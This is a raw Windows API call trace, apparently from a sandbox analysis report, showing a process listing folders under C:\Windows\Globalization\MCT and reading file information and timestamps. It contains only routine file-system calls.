SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0253.388] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0253.388] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0253.388] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0253.388] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0253.388] CloseHandle (hObject=0x190) returned 1 [0253.389] AreFileApisANSI () returned 1 [0253.389] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aaf90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0253.389] AreFileApisANSI () returned 1 [0253.389] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0253.389] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0253.389] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0253.389] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0253.389] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0253.389] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0253.389] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0253.389] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0253.389] CloseHandle (hObject=0x190) returned 1 [0253.390] AreFileApisANSI () returned 1 [0253.390] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aaf90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0253.391] AreFileApisANSI () returned 1 [0253.391] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0253.391] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0253.391] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0253.391] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0253.391] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0253.391] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0253.391] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0253.391] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0253.391] CloseHandle (hObject=0x190) returned 1 [0253.392] AreFileApisANSI () returned 1 [0253.392] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aaf90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0253.392] AreFileApisANSI () returned 1 [0253.392] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0253.392] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0253.392] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0253.392] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0253.392] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0253.392] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0253.392] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0253.392] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0253.392] CloseHandle (hObject=0x190) returned 1 [0253.393] AreFileApisANSI () returned 1 [0253.393] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66 [0253.395] AreFileApisANSI () returned 1 [0253.395] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 67 [0253.397] AreFileApisANSI () returned 1 [0253.397] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66 [0253.398] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Globalization\\MCT\\MCT-GB\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53f7c5d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x146489a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x146489a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0253.398] AreFileApisANSI () returned 1 [0253.398] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 71 [0253.400] GetFileType (hFile=0x1ac) returned 0x1 [0253.401] AreFileApisANSI () returned 1 [0253.401] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 72 [0253.405] AreFileApisANSI () returned 1 [0253.406] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 71 [0253.407] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Globalization\\MCT\\MCT-GB\\Link\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x53f7c5d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x1466eb00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1466eb00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7768e88d, dwReserved1=0x519300, cFileName=".", cAlternateFileName="")) returned 0x549710 [0253.407] AreFileApisANSI () returned 1 [0253.407] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0253.407] GetFileType (hFile=0x1ac) returned 0x1 [0253.408] AreFileApisANSI () returned 1 [0253.408] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 75 [0253.409] AreFileApisANSI () returned 1 [0253.410] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0253.412] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Globalization\\MCT\\MCT-GB\\RSSFeed\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53f7c5d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x1466eb00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1466eb00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0253.412] AreFileApisANSI () returned 1 [0253.412] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 72 [0253.413] GetFileType (hFile=0x1ac) returned 0x1 [0253.414] AreFileApisANSI () returned 1 [0253.414] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 73 [0253.415] AreFileApisANSI () returned 1 [0253.416] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 72 [0253.418] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Globalization\\MCT\\MCT-GB\\Theme\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x541dec5, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x14694c60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14694c60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0253.419] AreFileApisANSI () returned 1 [0253.419] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0253.422] AreFileApisANSI () returned 1 [0253.422] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0253.423] AreFileApisANSI () returned 1 [0253.423] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0253.424] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Globalization\\MCT\\MCT-GB\\Wallpaper\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x541dec5, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x14694c60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14694c60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0253.424] AreFileApisANSI () returned 1 [0253.425] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aaf90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0253.425] AreFileApisANSI () returned 1 [0253.425] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0253.425] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0253.426] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0253.426] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0253.426] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0253.426] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0253.426] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0253.426] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0253.426] CloseHandle (hObject=0x190) returned 1 [0253.427] AreFileApisANSI () returned 1 [0253.427] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aaf90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0253.427] AreFileApisANSI () returned 1 [0253.427] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0253.427] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0253.427] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0253.427] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0253.427] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0253.427] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0253.427] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0253.427] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0253.427] CloseHandle (hObject=0x190) returned 1 [0253.428] AreFileApisANSI () returned 1 [0253.428] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aaf90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0253.428] AreFileApisANSI () returned 1 [0253.428] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0253.428] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0253.429] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0253.429] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0253.429] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0253.429] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0253.429] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0253.429] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0253.429] CloseHandle (hObject=0x190) returned 1 [0253.433] AreFileApisANSI () returned 1 [0253.433] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aaf90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0253.434] AreFileApisANSI () returned 1 [0253.434] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0253.434] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0253.434] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0253.434] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0253.434] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0253.434] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0253.434] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0253.434] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0253.434] CloseHandle (hObject=0x190) returned 1 [0253.435] AreFileApisANSI () returned 1 [0253.435] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aaf90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0253.435] AreFileApisANSI () returned 1 [0253.435] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0253.435] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0253.436] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0253.436] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0253.436] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0253.436] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0253.436] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0253.436] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0253.436] CloseHandle (hObject=0x190) returned 1 [0253.436] AreFileApisANSI () returned 1 [0253.436] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aaf90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0253.437] AreFileApisANSI () returned 1 [0253.437] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0253.437] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0253.437] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0253.437] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0253.437] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0253.437] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0253.437] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0253.437] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0253.437] CloseHandle (hObject=0x190) returned 1 [0253.438] AreFileApisANSI () returned 1 [0253.438] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66 [0253.440] AreFileApisANSI () returned 1 [0253.440] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 67 [0253.441] AreFileApisANSI () returned 1 [0253.441] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66 [0253.443] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Globalization\\MCT\\MCT-US\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11ac464d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x146badc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x146badc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0253.443] AreFileApisANSI () returned 1 [0253.443] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 71 [0253.444] GetFileType (hFile=0x1ac) returned 0x1 [0253.445] AreFileApisANSI () returned 1 [0253.445] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 72 [0253.448] AreFileApisANSI () returned 1 [0253.448] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 71 [0253.449] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Globalization\\MCT\\MCT-US\\Link\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x11ac464d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x146e0f20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x146e0f20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0253.449] AreFileApisANSI () returned 1 [0253.449] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0253.450] GetFileType (hFile=0x1ac) returned 0x1 [0253.451] AreFileApisANSI () returned 1 [0253.451] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 75 [0253.452] AreFileApisANSI () returned 1 [0253.452] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0253.455] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Globalization\\MCT\\MCT-US\\RSSFeed\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11ac464d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x146e0f20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x146e0f20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0253.455] AreFileApisANSI () returned 1 [0253.455] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 72 [0253.456] GetFileType (hFile=0x1ac) returned 0x1 [0253.457] AreFileApisANSI () returned 1 [0253.457] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 73 [0253.458] AreFileApisANSI () returned 1 [0253.458] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 72 [0253.477] GetFileType (hFile=0x1ac) returned 0x1 